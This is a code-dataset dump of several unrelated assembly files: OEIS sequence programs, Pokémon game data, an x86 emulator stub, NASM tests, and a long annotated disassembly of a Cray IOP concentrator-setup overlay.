hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2c24d0383f6667295f917731d02dca26dce863c7 | 1,168 | asm | Assembly | programs/oeis/174/A174709.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/174/A174709.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/174/A174709.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A174709: Partial sums of floor(n/6).
; 0,0,0,0,0,0,1,2,3,4,5,6,8,10,12,14,16,18,21,24,27,30,33,36,40,44,48,52,56,60,65,70,75,80,85,90,96,102,108,114,120,126,133,140,147,154,161,168,176,184,192,200,208,216,225,234,243,252,261,270,280,290,300,310,320,330,341,352,363,374,385,396,408,420,432,444,456,468,481,494,507,520,533,546,560,574,588,602,616,630,645,660,675,690,705,720,736,752,768,784,800,816,833,850,867,884,901,918,936,954,972,990,1008,1026,1045,1064,1083,1102,1121,1140,1160,1180,1200,1220,1240,1260,1281,1302,1323,1344,1365,1386,1408,1430,1452,1474,1496,1518,1541,1564,1587,1610,1633,1656,1680,1704,1728,1752,1776,1800,1825,1850,1875,1900,1925,1950,1976,2002,2028,2054,2080,2106,2133,2160,2187,2214,2241,2268,2296,2324,2352,2380,2408,2436,2465,2494,2523,2552,2581,2610,2640,2670,2700,2730,2760,2790,2821,2852,2883,2914,2945,2976,3008,3040,3072,3104,3136,3168,3201,3234,3267,3300,3333,3366,3400,3434,3468,3502,3536,3570,3605,3640,3675,3710,3745,3780,3816,3852,3888,3924,3960,3996,4033,4070,4107,4144,4181,4218,4256,4294,4332,4370,4408,4446,4485,4524,4563,4602,4641,4680,4720,4760,4800,4840,4880,4920,4961,5002,5043,5084
sub $0,2
mov $1,$0
pow $1,2
div $1,12
| 146 | 1,089 | 0.758562 |
d7d847399aeae0836363a75c5756d3c6d8bac4d4 | 941 | asm | Assembly | data/pokemon/base_stats/corsola.asm | AtmaBuster/pokeplat-gen2 | fa83b2e75575949b8f72cb2c48f7a1042e97f70f | [
"blessing"
] | 6 | 2021-06-19T06:41:19.000Z | 2022-02-15T17:12:33.000Z | data/pokemon/base_stats/corsola.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | null | null | null | data/pokemon/base_stats/corsola.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | 2 | 2021-08-11T19:47:07.000Z | 2022-01-01T07:07:56.000Z | db 0 ; species ID placeholder
db 55, 55, 85, 35, 65, 85
; hp atk def spd sat sdf
db WATER, ROCK ; type
db 60 ; catch rate
db 113 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F75 ; gender ratio
db 20 ; step cycles to hatch
INCBIN "gfx/pokemon/corsola/front.dimensions"
db GROWTH_FAST ; growth rate
dn EGG_WATER_1, EGG_WATER_3 ; egg groups
db 70 ; happiness
; tm/hm learnset
tmhm WATER_PULSE, CALM_MIND, TOXIC, HAIL, HIDDEN_POWER, SUNNY_DAY, ICE_BEAM, BLIZZARD, LIGHT_SCREEN, PROTECT, RAIN_DANCE, SAFEGUARD, FRUSTRATION, EARTHQUAKE, RETURN, DIG, PSYCHIC_M, SHADOW_BALL, DOUBLE_TEAM, REFLECT, SANDSTORM, ROCK_TOMB, FACADE, SECRET_POWER, REST, ATTRACT, BRINE, ENDURE, EXPLOSION, ROCK_POLISH, STONE_EDGE, STEALTH_ROCK, CAPTIVATE, ROCK_SLIDE, SLEEP_TALK, NATURAL_GIFT, SWAGGER, SUBSTITUTE, SURF, STRENGTH, ROCK_SMASH, ANCIENTPOWER, EARTH_POWER, ENDEAVOR, ICY_WIND, MUD_SLAP, ROLLOUT, SNORE, SUCKER_PUNCH
; end
| 47.05 | 526 | 0.752391 |
f25b698d532bbf4e379bbfa0a3d6c829098247fb | 533 | asm | Assembly | programs/oeis/130/A130262.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/130/A130262.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/130/A130262.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A130262: Partial sums of the 'upper' even Fibonacci Inverse A130260.
; 0,1,3,5,8,11,14,17,20,24,28,32,36,40,44,48,52,56,60,64,68,72,77,82,87,92,97,102,107,112,117,122,127,132,137,142,147,152,157,162,167,172,177,182,187,192,197,202,207,212,217,222,227,232,237,242,248,254,260,266,272,278,284,290,296,302,308,314,320,326,332,338,344,350,356,362,368,374,380,386,392,398,404,410,416,422,428,434,440,446,452,458,464,470,476,482,488,494,500,506
lpb $0
add $1,$0
add $2,$3
sub $0,$2
trn $0,1
add $3,$2
add $3,1
lpe
mov $0,$1
| 41 | 369 | 0.684803 |
c9c3592c4e6840760aceb1927702a51e73f97886 | 896 | asm | Assembly | src/core/asm/x86/inst_0x0f90.asm | Hiroshi123/bin_tools | 95929eb218a82e30c43ee5bd209301a24abebffa | [
"MIT"
] | null | null | null | src/core/asm/x86/inst_0x0f90.asm | Hiroshi123/bin_tools | 95929eb218a82e30c43ee5bd209301a24abebffa | [
"MIT"
] | 4 | 2019-02-27T05:41:26.000Z | 2020-07-16T00:24:24.000Z | src/core/asm/x86/inst_0x0f90.asm | Hiroshi123/bin_tools | 95929eb218a82e30c43ee5bd209301a24abebffa | [
"MIT"
] | null | null | null |
default rel
section .text
global _0x0f90_seto
global _0x0f91_setno
global _0x0f92_setb
global _0x0f93_setnb
global _0x0f94_sete
global _0x0f95_setne
global _0x0f96_setbe
global _0x0f97_setnbe
global _0x0f98_sets
global _0x0f99_setns
global _0x0f9a_setp
global _0x0f9b_setnp
global _0x0f9c_setl
global _0x0f9d_setnl
global _0x0f9e_setle
global _0x0f9f_setnle
%include "extern_for_inst.asm"
_0x0f90_seto:
_0x0f91_setno:
_0x0f92_setb:
_0x0f93_setnb:
_0x0f94_sete:
_0x0f95_setne:
_0x0f96_setbe:
_0x0f97_setnbe:
_0x0f98_sets:
_0x0f99_setns:
_0x0f9a_setp:
_0x0f9b_setnp:
_0x0f9c_setl:
_0x0f9d_setnl:
_0x0f9e_setle:
_0x0f9f_setnle:
add dword [_rip],1
call _get_mod_reg_rm
cmp byte r15b,0xff
jne _0x0f9f_setnle.b1
call _set_dflag_as_1byte
mov byte r15b,0
.b1:
call _set_scale_index_base
call _fetch_displacement_by_mod
ret
;; todo!
;; call _do01
;; ret
| 16.592593 | 32 | 0.811384 |
d90b13566d542d9ac39c9880ac5dd90096233ca5 | 683 | asm | Assembly | oeis/052/A052449.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/052/A052449.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/052/A052449.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A052449: a(n) = 1 + Product_{k=1..n} Fibonacci(k).
; Submitted by Christian Krause
; 2,2,3,7,31,241,3121,65521,2227681,122522401,10904493601,1570247078401,365867569267201,137932073613734401,84138564904377984001,83044763560621070208001,132622487406311849122176001,342696507457909818131702784001,1432814097681520949608649339904001,9692987370815489224102512784450560001,106099439760946345047026104938595829760001,1879127177606120717127879344567470740879360001,53850147528658601390733638377270009021379819520001,2496923640608842029285537344277255778303339471503360001
mov $1,1
mov $2,1
mov $3,1
lpb $0
sub $0,1
add $4,$3
mul $1,$4
mov $3,$2
mov $2,$4
lpe
mov $0,$1
add $0,1
| 40.176471 | 480 | 0.833089 |
f3cab5521a829c33bc9266c8f115dcfd1310e5bf | 402 | asm | Assembly | wof/lcs/123p/B8.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 6 | 2020-10-14T15:29:10.000Z | 2022-02-12T18:58:54.000Z | wof/lcs/123p/B8.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | null | null | null | wof/lcs/123p/B8.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 1 | 2020-12-17T08:59:10.000Z | 2020-12-17T08:59:10.000Z | copyright zengfr site:http://github.com/zengfr/romhack
01A74C dbra D7, $1a74a
01A75E dbra D4, $1a75c
01B58E move.w ($8,A0), ($8,A1) [123p+ B8]
01B680 bne $1b688 [123p+ B8]
01C248 move.w ($8,A0), ($8,A1) [123p+ B8]
01C366 bne $1c36e [123p+ B8]
01D178 move.w ($8,A0), ($8,A1) [123p+ B8]
01D268 bne $1d270 [123p+ B8]
copyright zengfr site:http://github.com/zengfr/romhack
| 30.923077 | 54 | 0.629353 |
53e0aa41ba51b532e0acf0a0a87e493068af93bb | 836 | asm | Assembly | src/third_party/nasm/test/pcrel.asm | Mr-Sheep/naiveproxy | 9f6e9768295f6d1d41517a15a621d4756bd7d6be | [
"BSD-3-Clause"
] | 2,219 | 2018-03-26T02:57:34.000Z | 2022-03-31T00:27:59.000Z | src/third_party/nasm/test/pcrel.asm | Mr-Sheep/naiveproxy | 9f6e9768295f6d1d41517a15a621d4756bd7d6be | [
"BSD-3-Clause"
] | 395 | 2020-04-18T08:22:18.000Z | 2021-12-08T13:04:49.000Z | src/third_party/nasm/test/pcrel.asm | Mr-Sheep/naiveproxy | 9f6e9768295f6d1d41517a15a621d4756bd7d6be | [
"BSD-3-Clause"
] | 473 | 2019-03-24T16:34:23.000Z | 2022-03-31T02:01:05.000Z | bits 32
foo: ; Backwards reference
mov eax,[foo - $]
mov ebx,[ebx + foo - $]
mov ecx,foo - $
mov edx,foo - bar
mov eax,[bar - $]
mov ebx,[ebx + bar - $]
mov ecx,bar - $
mov edx,bar - foo
mov eax,[baz - $]
mov ebx,[ebx + baz - $]
mov esi,[baz - bar]
mov ecx,baz - $
mov edx,baz - bar
bits 64
default rel
times 16 nop
mov eax,[foo]
mov eax,[foo - $]
mov eax,[abs foo - $]
mov ebx,[rbx + foo - $]
mov ecx,foo - $
mov edx,foo - bar
mov eax,[bar]
mov eax,[bar - $]
mov eax,[abs bar - $]
mov ebx,[rbx + bar - $]
mov ecx,bar - $
mov edx,bar - foo
mov eax,[baz]
mov eax,[baz - $]
mov eax,[abs baz - $]
mov ebx,[rbx + baz - $]
mov esi,[baz - bar]
mov esi,[abs baz - bar]
mov ecx,baz - $
mov edx,baz - bar
bar: ; Forwards reference
hlt
section ".data"
baz: ; Other-segment reference
dd 0
| 15.773585 | 33 | 0.559809 |
13535ab60607df45b9ad719357704235c4779a47 | 104 | asm | Assembly | ZORTON.reko/ZORTON_2863.asm | 0xLiso/dePIXELator | d74a663e5cb41a404f2b714e262ce44b668d3632 | [
"MIT"
] | null | null | null | ZORTON.reko/ZORTON_2863.asm | 0xLiso/dePIXELator | d74a663e5cb41a404f2b714e262ce44b668d3632 | [
"MIT"
] | null | null | null | ZORTON.reko/ZORTON_2863.asm | 0xLiso/dePIXELator | d74a663e5cb41a404f2b714e262ce44b668d3632 | [
"MIT"
] | 1 | 2021-03-10T22:29:06.000Z | 2021-03-10T22:29:06.000Z | ;;; Segment 2863 (2863:0000)
2863:0000 FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................
| 34.666667 | 74 | 0.567308 |
f09f0104e4efde2d70e038b96e2e885e6f718aa1 | 74,050 | asm | Assembly | target/cos_117/disasm/iop_overlay1/CONC.asm | jrrk2/cray-sim | 52c9639808d6890517092637b188282c00cce4f7 | [
"BSL-1.0"
] | 49 | 2020-10-09T12:29:16.000Z | 2022-03-12T02:33:35.000Z | target/cos_117/disasm/iop_overlay1/CONC.asm | jrrk2/cray-sim | 52c9639808d6890517092637b188282c00cce4f7 | [
"BSL-1.0"
] | 1 | 2021-12-29T15:59:25.000Z | 2021-12-29T15:59:25.000Z | target/cos_117/disasm/iop_overlay1/CONC.asm | jrrk2/cray-sim | 52c9639808d6890517092637b188282c00cce4f7 | [
"BSL-1.0"
] | 6 | 2021-04-12T06:10:32.000Z | 2022-02-08T23:11:19.000Z | @@@@@@@@@@@@@@@@@@ Gets loaded into 0x62c0 (0x62c6)
@@ Input:
@@ OR[280]: could be 0 - upper byte: concentrator ordinal? number in character
@@ OR[289]:
@@ OR[256]:
@@ OR[257]: pointer to some kind of a 'concentrator ordinal' desc.
@@ offset 0: some bit-field
@@ bit 15 - 1: concentrator active
@@ bit 14 - 1: initialization in progress
@@ bit 13 - 1: termination in progress
@@ bit 12 - 1: channel disabled
@@ bit 11 - 1:
@@ bit 10 - 1:
@@ bit 9 - 1:
@@ bit 8 - 1:
@@ bit 7...0: ???????? should be 30 (0x1e) ??????
@@ offset 1: lower byte: CI channel number
@@ offset 2: local buffer address (68 WORDs long) - see CONCIO for details of how this is layed out
@@ offset 3:
@@ offset 4:
@@ offset 5:
@@ offset 6:
@@ OR[259]: 'concentrator ordinal' ???
@ Call overlay CRAY
0x0000 (0x000000) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x0001 (0x000002) 0x2929- f:00024 d: 297 | OR[297] = A
0x0002 (0x000004) 0x1800-0x0017 f:00014 d: 0 | A = 23 (0x0017)
0x0004 (0x000008) 0x292A- f:00024 d: 298 | OR[298] = A
0x0005 (0x00000A) 0x1800-0xFFFF f:00014 d: 0 | A = 65535 (0xFFFF)
0x0007 (0x00000E) 0x292B- f:00024 d: 299 | OR[299] = A
0x0008 (0x000010) 0x1129- f:00010 d: 297 | A = 297 (0x0129)
0x0009 (0x000012) 0x5800- f:00054 d: 0 | B = A
0x000A (0x000014) 0x1800-0x2318 f:00014 d: 0 | A = 8984 (0x2318)
0x000C (0x000018) 0x7C09- f:00076 d: 9 | R = OR[9]
0x000D (0x00001A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x000E (0x00001C) 0x2921- f:00024 d: 289 | OR[289] = A
0x000F (0x00001E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0010 (0x000020) 0x2900- f:00024 d: 256 | OR[256] = A
0x0011 (0x000022) 0x2118- f:00020 d: 280 | A = OR[280] @ Test upper byte of OR[280]
0x0012 (0x000024) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x0013 (0x000026) 0x2908- f:00024 d: 264 | OR[264] = A
0x0014 (0x000028) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0015 (0x00002A) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0016 (0x00002C) 0x8405- f:00102 d: 5 | P = P + 5 (0x001B), A = 0
0x0017 (0x00002E) 0x2118- f:00020 d: 280 | A = OR[280] @ If non-0, shift by 8, and convert from numerical digit to byte
0x0018 (0x000030) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x0019 (0x000032) 0x1630- f:00013 d: 48 | A = A - 48 (0x0030)
0x001A (0x000034) 0x2918- f:00024 d: 280 | OR[280] = A
0x001B (0x000036) 0x2118- f:00020 d: 280 | A = OR[280] @ Load concentrator ordinal?
0x001C (0x000038) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x001D (0x00003A) 0x2903- f:00024 d: 259 | OR[259] = A @ OR[259]: concentrator ordinal? + 3
0x001E (0x00003C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x001F (0x00003E) 0x2901- f:00024 d: 257 | OR[257] = A
0x0020 (0x000040) 0x2103- f:00020 d: 259 | A = OR[259]
0x0021 (0x000042) 0x290D- f:00024 d: 269 | OR[269] = A
0x0022 (0x000044) 0x210D- f:00020 d: 269 | A = OR[269]
0x0023 (0x000046) 0x1607- f:00013 d: 7 | A = A - 7 (0x0007)
0x0024 (0x000048) 0x8002- f:00100 d: 2 | P = P + 2 (0x0026), C = 0
0x0025 (0x00004A) 0x8602- f:00103 d: 2 | P = P + 2 (0x0027), A # 0
0x0026 (0x00004C) 0x7002- f:00070 d: 2 | P = P + 2 (0x0028)
0x0027 (0x00004E) 0x700F- f:00070 d: 15 | P = P + 15 (0x0036)
0x0028 (0x000050) 0x210D- f:00020 d: 269 | A = OR[269]
0x0029 (0x000052) 0x8602- f:00103 d: 2 | P = P + 2 (0x002B), A # 0
0x002A (0x000054) 0x700C- f:00070 d: 12 | P = P + 12 (0x0036)
@ We get here if OR[269] < 7, but non-0 - it is the concentrator ordinal? + 3
0x002B (0x000056) 0x2048- f:00020 d: 72 | A = OR[72] @ OR[72] points to 'FE' table
0x002C (0x000058) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x002D (0x00005A) 0x290E- f:00024 d: 270 | OR[270] = A @ OR[270] starts at 'FE' table offset 2
0x002E (0x00005C) 0x210D- f:00020 d: 269 | A = OR[269] @ Terminate loop if OR[269] == 1
0x002F (0x00005E) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x0030 (0x000060) 0x8405- f:00102 d: 5 | P = P + 5 (0x0035), A = 0
0x0031 (0x000062) 0x1007- f:00010 d: 7 | A = 7 (0x0007) @ Increment offset by 7
0x0032 (0x000064) 0x2B0E- f:00025 d: 270 | OR[270] = A + OR[270]
0x0033 (0x000066) 0x2F0D- f:00027 d: 269 | OR[269] = OR[269] - 1 @ Decrement loop index
0x0034 (0x000068) 0x7206- f:00071 d: 6 | P = P - 6 (0x002E) @ And keep looping
0x0035 (0x00006A) 0x7003- f:00070 d: 3 | P = P + 3 (0x0038)
0x0036 (0x00006C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0037 (0x00006E) 0x290E- f:00024 d: 270 | OR[270] = A
@ We have OR[270] set up to point to the concentrator ordinal? desc: it's at 'FE' table + 2 + 7*concentrator ordinal (or 0 in case of an error???)
0x0038 (0x000070) 0x210E- f:00020 d: 270 | A = OR[270]
0x0039 (0x000072) 0x2901- f:00024 d: 257 | OR[257] = A @ Point OR[257] to the 'concentrator ordinal' desc, which is 7 entries long
0x003A (0x000074) 0x2101- f:00020 d: 257 | A = OR[257]
0x003B (0x000076) 0x8402- f:00102 d: 2 | P = P + 2 (0x003D), A = 0
0x003C (0x000078) 0x7007- f:00070 d: 7 | P = P + 7 (0x0043)
0x003D (0x00007A) 0x1800-0x0259 f:00014 d: 0 | A = 601 (0x0259) @ Print error message 'Concentrator ordinal' 'not configured. Command aborted.'
0x003F (0x00007E) 0x2919- f:00024 d: 281 | OR[281] = A
0x0040 (0x000080) 0x1010- f:00010 d: 16 | A = 16 (0x0010)
0x0041 (0x000082) 0x291A- f:00024 d: 282 | OR[282] = A
0x0042 (0x000084) 0x715B- f:00070 d: 347 | P = P + 347 (0x019D)
@ Concentrator ordinal is fine
0x0043 (0x000086) 0x3101- f:00030 d: 257 | A = (OR[257]) @ Read entry 0, bit 13 into OR[290]
0x0044 (0x000088) 0x080D- f:00004 d: 13 | A = A > 13 (0x000D)
0x0045 (0x00008A) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0046 (0x00008C) 0x2922- f:00024 d: 290 | OR[290] = A
0x0047 (0x00008E) 0x3101- f:00030 d: 257 | A = (OR[257]) @ Read entry 0, bit 14 into OR[291]
0x0048 (0x000090) 0x080E- f:00004 d: 14 | A = A > 14 (0x000E)
0x0049 (0x000092) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x004A (0x000094) 0x2923- f:00024 d: 291 | OR[291] = A
0x004B (0x000096) 0x3101- f:00030 d: 257 | A = (OR[257]) @ Read entry 0, bit 15 into OR[292]
0x004C (0x000098) 0x080F- f:00004 d: 15 | A = A > 15 (0x000F)
0x004D (0x00009A) 0x2924- f:00024 d: 292 | OR[292] = A
0x004E (0x00009C) 0x3101- f:00030 d: 257 | A = (OR[257]) @ Read entry 0, bit 12 into OR[293]
0x004F (0x00009E) 0x080C- f:00004 d: 12 | A = A > 12 (0x000C)
0x0050 (0x0000A0) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0051 (0x0000A2) 0x2925- f:00024 d: 293 | OR[293] = A
0x0052 (0x0000A4) 0x3101- f:00030 d: 257 | A = (OR[257]) @ Read entry, lower byte into OR[294]
0x0053 (0x0000A6) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0054 (0x0000A8) 0x2926- f:00024 d: 294 | OR[294] = A
0x0055 (0x0000AA) 0x2122- f:00020 d: 290 | A = OR[290] @ Check if any of bits 12...15 is set
0x0056 (0x0000AC) 0x2523- f:00022 d: 291 | A = A + OR[291]
0x0057 (0x0000AE) 0x2524- f:00022 d: 292 | A = A + OR[292]
0x0058 (0x0000B0) 0x2525- f:00022 d: 293 | A = A + OR[293]
0x0059 (0x0000B2) 0x2927- f:00024 d: 295 | OR[295] = A
0x005A (0x0000B4) 0x2127- f:00020 d: 295 | A = OR[295]
0x005B (0x0000B6) 0x8605- f:00103 d: 5 | P = P + 5 (0x0060), A # 0
0x005C (0x0000B8) 0x2126- f:00020 d: 294 | A = OR[294] @ Check if lower byte is 30
0x005D (0x0000BA) 0x161E- f:00013 d: 30 | A = A - 30 (0x001E)
0x005E (0x0000BC) 0x8602- f:00103 d: 2 | P = P + 2 (0x0060), A # 0
0x005F (0x0000BE) 0x702B- f:00070 d: 43 | P = P + 43 (0x008A) @ Lower byte is 30 and none of the highest nibble bits are set
@@ Error handling:
@ Either the lower byte is not 30 or the some of the highest nibble bits are set
0x0060 (0x0000C0) 0x2122- f:00020 d: 290 | A = OR[290] @ This is bit 13
0x0061 (0x0000C2) 0x8602- f:00103 d: 2 | P = P + 2 (0x0063), A # 0
0x0062 (0x0000C4) 0x7007- f:00070 d: 7 | P = P + 7 (0x0069)
0x0063 (0x0000C6) 0x1800-0x026A f:00014 d: 0 | A = 618 (0x026A) @ Bit 13 is set - print 'Concentrator ordinal' 'termination in progress. Command aborted.'
0x0065 (0x0000CA) 0x2919- f:00024 d: 281 | OR[281] = A
0x0066 (0x0000CC) 0x1015- f:00010 d: 21 | A = 21 (0x0015)
0x0067 (0x0000CE) 0x291A- f:00024 d: 282 | OR[282] = A
0x0068 (0x0000D0) 0x7021- f:00070 d: 33 | P = P + 33 (0x0089)
0x0069 (0x0000D2) 0x2123- f:00020 d: 291 | A = OR[291] @ This is bit 14
0x006A (0x0000D4) 0x8602- f:00103 d: 2 | P = P + 2 (0x006C), A # 0
0x006B (0x0000D6) 0x7007- f:00070 d: 7 | P = P + 7 (0x0072)
0x006C (0x0000D8) 0x1800-0x027F f:00014 d: 0 | A = 639 (0x027F) @ Bit 14 is set - print 'Concentrator ordinal' 'initialization in progress. Command aborted.'
0x006E (0x0000DC) 0x2919- f:00024 d: 281 | OR[281] = A
0x006F (0x0000DE) 0x1016- f:00010 d: 22 | A = 22 (0x0016)
0x0070 (0x0000E0) 0x291A- f:00024 d: 282 | OR[282] = A
0x0071 (0x0000E2) 0x7018- f:00070 d: 24 | P = P + 24 (0x0089)
0x0072 (0x0000E4) 0x2124- f:00020 d: 292 | A = OR[292] @ This is bit 15
0x0073 (0x0000E6) 0x8602- f:00103 d: 2 | P = P + 2 (0x0075), A # 0
0x0074 (0x0000E8) 0x7007- f:00070 d: 7 | P = P + 7 (0x007B)
0x0075 (0x0000EA) 0x1800-0x0296 f:00014 d: 0 | A = 662 (0x0296) @ Bit 15 is set - print 'Concentrator ordinal' 'already active. Command aborted.'
0x0077 (0x0000EE) 0x2919- f:00024 d: 281 | OR[281] = A
0x0078 (0x0000F0) 0x1010- f:00010 d: 16 | A = 16 (0x0010)
0x0079 (0x0000F2) 0x291A- f:00024 d: 282 | OR[282] = A
0x007A (0x0000F4) 0x700F- f:00070 d: 15 | P = P + 15 (0x0089)
0x007B (0x0000F6) 0x2125- f:00020 d: 293 | A = OR[293] @ This is bit 12
0x007C (0x0000F8) 0x8602- f:00103 d: 2 | P = P + 2 (0x007E), A # 0
0x007D (0x0000FA) 0x7007- f:00070 d: 7 | P = P + 7 (0x0084)
0x007E (0x0000FC) 0x1800-0x02BD f:00014 d: 0 | A = 701 (0x02BD) @ Bit 12 is set - print 'Concentrator ordinal' 'channel disabled. Command aborted.'
0x0080 (0x000100) 0x2919- f:00024 d: 281 | OR[281] = A
0x0081 (0x000102) 0x1011- f:00010 d: 17 | A = 17 (0x0011)
0x0082 (0x000104) 0x291A- f:00024 d: 282 | OR[282] = A
0x0083 (0x000106) 0x7006- f:00070 d: 6 | P = P + 6 (0x0089)
@ None of the bits are set, that is lower byte is not 30
0x0084 (0x000108) 0x1800-0x02A7 f:00014 d: 0 | A = 679 (0x02A7) @ Print error message: 'Concentrator ordinal' 'not configured correctly. Command aborted.'
0x0086 (0x00010C) 0x2919- f:00024 d: 281 | OR[281] = A
0x0087 (0x00010E) 0x1015- f:00010 d: 21 | A = 21 (0x0015)
0x0088 (0x000110) 0x291A- f:00024 d: 282 | OR[282] = A
0x0089 (0x000112) 0x7114- f:00070 d: 276 | P = P + 276 (0x019D)
@ Concentrator state is OK, continue
0x008A (0x000114) 0x3101- f:00030 d: 257 | A = (OR[257]) @ Read bit 8 of offset 0 into OR[290]
0x008B (0x000116) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x008C (0x000118) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x008D (0x00011A) 0x2922- f:00024 d: 290 | OR[290] = A
0x008E (0x00011C) 0x2122- f:00020 d: 290 | A = OR[290]
0x008F (0x00011E) 0x8602- f:00103 d: 2 | P = P + 2 (0x0091), A # 0
0x0090 (0x000120) 0x700F- f:00070 d: 15 | P = P + 15 (0x009F)
@ If bit-8 is set, set bit-9 and call runtime function 4???
0x0091 (0x000122) 0x3101- f:00030 d: 257 | A = (OR[257]) @ Set bit 9 of entry 0
0x0092 (0x000124) 0x0E07- f:00007 d: 7 | A = A << 7 (0x0007)
0x0093 (0x000126) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x0094 (0x000128) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0095 (0x00012A) 0x0C08- f:00006 d: 8 | A = A >> 8 (0x0008)
0x0096 (0x00012C) 0x3901- f:00034 d: 257 | (OR[257]) = A
0x0097 (0x00012E) 0x1004- f:00010 d: 4 | A = 4 (0x0004) @ Call runtime function 4 - this must occasionally clear bit 8 (but how!! and WHY????) otherwise we never exit the loop here...
0x0098 (0x000130) 0x2929- f:00024 d: 297 | OR[297] = A
0x0099 (0x000132) 0x1129- f:00010 d: 297 | A = 297 (0x0129)
0x009A (0x000134) 0x5800- f:00054 d: 0 | B = A
0x009B (0x000136) 0x1800-0x2318 f:00014 d: 0 | A = 8984 (0x2318)
0x009D (0x00013A) 0x7C09- f:00076 d: 9 | R = OR[9]
0x009E (0x00013C) 0x7214- f:00071 d: 20 | P = P - 20 (0x008A)
@ We're done calling runtime function 4 for whatever reason...
0x009F (0x00013E) 0x3101- f:00030 d: 257 | A = (OR[257]) @ Set bit 14 of entry 1: initialization in progress
0x00A0 (0x000140) 0x0E02- f:00007 d: 2 | A = A << 2 (0x0002)
0x00A1 (0x000142) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x00A2 (0x000144) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x00A3 (0x000146) 0x0C03- f:00006 d: 3 | A = A >> 3 (0x0003)
0x00A4 (0x000148) 0x3901- f:00034 d: 257 | (OR[257]) = A
0x00A5 (0x00014A) 0x2101- f:00020 d: 257 | A = OR[257] @ Read channel number (offset 1) into OR[258]
0x00A6 (0x00014C) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
